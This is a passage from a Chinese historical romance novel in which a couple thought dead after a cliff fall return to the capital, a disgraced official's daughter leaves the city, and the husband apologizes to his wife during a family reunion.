“听说他们掉下去的是万丈悬崖,当地人都说没有人能活下来的。” “青天白日里的,别说这些。唉呦,是谁在我后面吹气?有鬼啊嘿你作死是不?” 周围一片哄笑。 “什么鬼?人家有影子的,还有那孩子,可灵秀得很。”最初说见到宣槿妤苏琯璋夫妻俩下船的人压低了声音。 “那果真是神仙转世?”有人惊呼! “肯定是。”有人纳闷儿,“先前几个月一直传得热热闹闹的仙神下凡,你是一点没听到么?” “什么什么?还有这回事?快和我说说!” …… 原来的刑部尚书梁方方,在去岁接到看管苏家人的口谕之后,便被迫成了废帝盛誉一派。 再后来,他从废帝手中接过毒药,便已经注定了他的结局。 当着一众朝臣的面,指认废帝盛誉弑君弑父、毒杀老师,且交出了物证之后,他便趁着旁人不备,触柱而亡。 临死前,他只有一个请求,便是放过他的家人。 冤有头债有主,林太傅之死,归根结底是废帝盛誉做下的。梁方方是盛誉的刀,也难逃一死,但是他的家眷,也确然无辜。 故而宣文晟登基后,也没有为难他们,只收回了梁尚书府,家产都没查抄。 宣槿妤的马车辘辘驶过城门时,恰与梁方方妻女的马车擦肩而过,相对行驶。 梁桂儿听着百姓们热热闹闹的谈话,一下子将坠崖生还的二人和他们在崖下出生的孩子,从口中的鬼 转为了转世的神仙。 她回头看着渐渐远去的马车,放下了车帘。 “走罢!”她对车夫说。 车夫应声,停在这里一上午的马车动了起来,缓缓驶出了城门。 片刻后。 “前面那辆马车,等等。”有人在后头追着喊道。 “姑娘,有人在追在我们后头。”车夫道,请示梁桂儿。 她如今已经不是刑部尚书家的女儿,不能再称呼小姐了。当初乍然一听府中下人唤她“姑娘”,她还怔愣许久,如今也已经适应了。 梁桂儿道:“停车。” 她这辆马车一停,后面的马车也都停了下来。 来人终于追了上来。 追上来的人是她的闺中密友,陈锦和何曲薇。 新帝即位,武安侯府无功无过,仍保留着世袭的爵位。 但因着去岁武安侯夫人办的那场宴席,让宣小少夫人宣槿妤掀桌离去,至今依旧是京中不散的议题。 当初宣槿妤入了刑部死牢,后又随夫流放,有多少人看尽笑话,就有多少人奉承武安侯府。 连带着陈锦的婚事也颇受关注。 这是将那场宴席与宣槿妤的落难联系起来的人家的心理。 如今宣槿妤重新归京,新上任的帝王是她以往“一母同胞”的“嫡亲兄长”。 便是真相大白,皇帝不过是寄养在宣家的“养子”,京中也无人不晓他对宣槿妤这个担了他二十年名头的妹妹的宠爱。 便是皇后娘娘,一举一动也不无昭示着她对这个往日小姑子的喜欢。 听说去岁冬日,宣槿妤坠崖的消息传入京中,办完林太傅的丧事之后,这位可是随着婆母林清婉一起大病了一场呢! 更别提圣旨懿旨同下,宣槿妤还未归京,身上已经有了长公主封号,“无忧”。 因为拨乱反正,宣文晟……噢,现在的盛宣是皇室唯一的嫡脉,所以大盛便只有一个长公主。 “无忧”长公主,封号已经昭示了新帝的祈愿。 这是让宣槿妤余生无忧的意思呢! 何况还将江南最富庶的广安府给了她作封地,那广安府,每年交上来的税,可抵每年税收十之一二了。 封长公主的圣旨一下,本和武安侯府亲近的人家也都开始疏远起来他们一家来。 可笑,说得好似他们武安侯府做了什么十恶不赦的事情一样,他们家不过是照旧举办了一场再普通不过的春日宴而已。 当初在宴席上嘲讽宣槿妤的可不还是他们这些人家。 罢了,疏远了也好,本就和他们家无关。 何曲薇是这样安慰陈锦的。 说到何曲薇。 她本是何贵妃娘家妹妹,但废帝被圈禁,连带着他的妻妾也终身不得出。儿女暂且还是一起圈禁着,但没人能够预料到日后会如何。 皇帝盛宣即位时有令,废帝之妃妾可不作牵连,若有归家者,可求到宗人令诚亲王那里,将废妃名册勾掉便可。 何曲薇长姐却糊涂,不愿归家,宁愿陪着废帝在那方寸之地耗上一辈子。 虽说皇家没有被杀的皇子,盛誉犯下弑父杀君杀师的大罪,也只是被圈禁,终身不得出而已。 但皇家之事,谁说得准呢? 明面上不能杀,但废先帝那些个皇子们,足有二十多位,不也死的死、残的残? 更何况,最大的例子,先太子、正明帝和废先帝,都是怎么死的? 长姐偏看不清前路,非要一条路走到黑,惹得家人为她日日忧心。 不过也不是不能理解,为母则刚,长姐之前为贵妃,替盛誉生了一儿一女。她归家了,谁来照顾她所出的孩子? 何曲薇叹息。 如此说来,何家的处境比武安侯府要更艰难些。 总归世人都是拜高踩低之徒。 梁桂儿下了马车,“难为你们竟还惦记着来送我。”她微笑着,姿态依旧优雅,仿若当初那个高官之女。 “见你这样,想来也毋须我们安慰你了。”何曲薇道,仔细打量着她的面色,“憔悴了些,可是昨夜没睡好?” 她们三人只略略谈着些闲话,其他的一概不提。 “好了,我该走了。”梁桂儿分别抱了抱二人,忍着热泪道。 梁桂儿的马车行过五里亭时,苏家的马车也已经抵达苏国公府大门。 苏声今日告了假,带着同样告了假的长子和两位侄儿,和着府中女眷孩子们,早早便候在前院。 听闻马车朝苏国公府驶来的消息,众人忙走到大门口,恰看到朝着巷子而来的一行人。 苏琯璋跳下了马车,转身将站在前室的妻女一同抱了下来。 “妹妹!” “妹妹!” 孩子们见到宣槿妤怀中模样精致、咯咯笑着的岚姐儿,当即兴奋起来,这是他们的妹妹! 开心到,竟是连和长辈们问安都忘记了。 后面马车旁,许玉娘扶着苏老夫人下了马车,朝着众人走来。 重新见礼。 此时一家人才正式团聚。 因体恤他们舟车劳顿,没有过多寒暄,用了一顿团圆饭之后,苏声便让众人散了。 宣槿妤身后跟着眼中满是欢喜的采薇、采菽二人,此时正走到小花园里的那座假山旁。 当初,便是在这座假山后,她听到府中两位嬷嬷说苏琯璋另有心上人的“私语”。 那时的她,心里满是要见到分别月余的夫君的兴奋,却在这里被一盆冷水当头浇下,心寒了个彻底。 如今,她感受着腰间熟悉安稳的力道,再偏头去看他怀中熟睡的女儿,心里再想不起那时的伤心难过。 “抱歉。”她听到身畔之人说道,“槿妤,很抱歉我之前伤了你。” 苏琯璋后退一步,身子挡在假山和她之间,遮住了后面两名婢女的目光。 采薇、采菽对视一眼,默契地往后退了退,识趣地不去打扰小姐和姑爷。 “罚我往后余生,做你裙下之臣1,可好?”他俯身在她耳边低声道,隐有叹息,眼神中夹杂着渴望。 不知是他的表情过于诱人,还是他的话过于动人,亦或是他灼热的气息喷在耳畔而发痒,宣槿妤倏地烫红了脸。 好一会儿没得到回应,只看得到妻子越来越红的双颊,苏琯璋未抱着岚姐儿的那只手在她面上摩挲了一番,声音低沉,“嗯?” 宣槿妤慢吞吞地勾住了他的手,“好。” 苏琯璋低头,克制地在她嫣红的唇瓣上亲了亲。 才停歇的雪花又飘了起来,落在二人发上,像是染白了头。 夫妻俩并肩走过那座假山,朝着他们的家——荆竹园走去。 这里曾经是他们情断的开始,日后,便成了他们正式定下一生的承诺之地。 曾经的痛苦不再,取而代之的,只有甜蜜。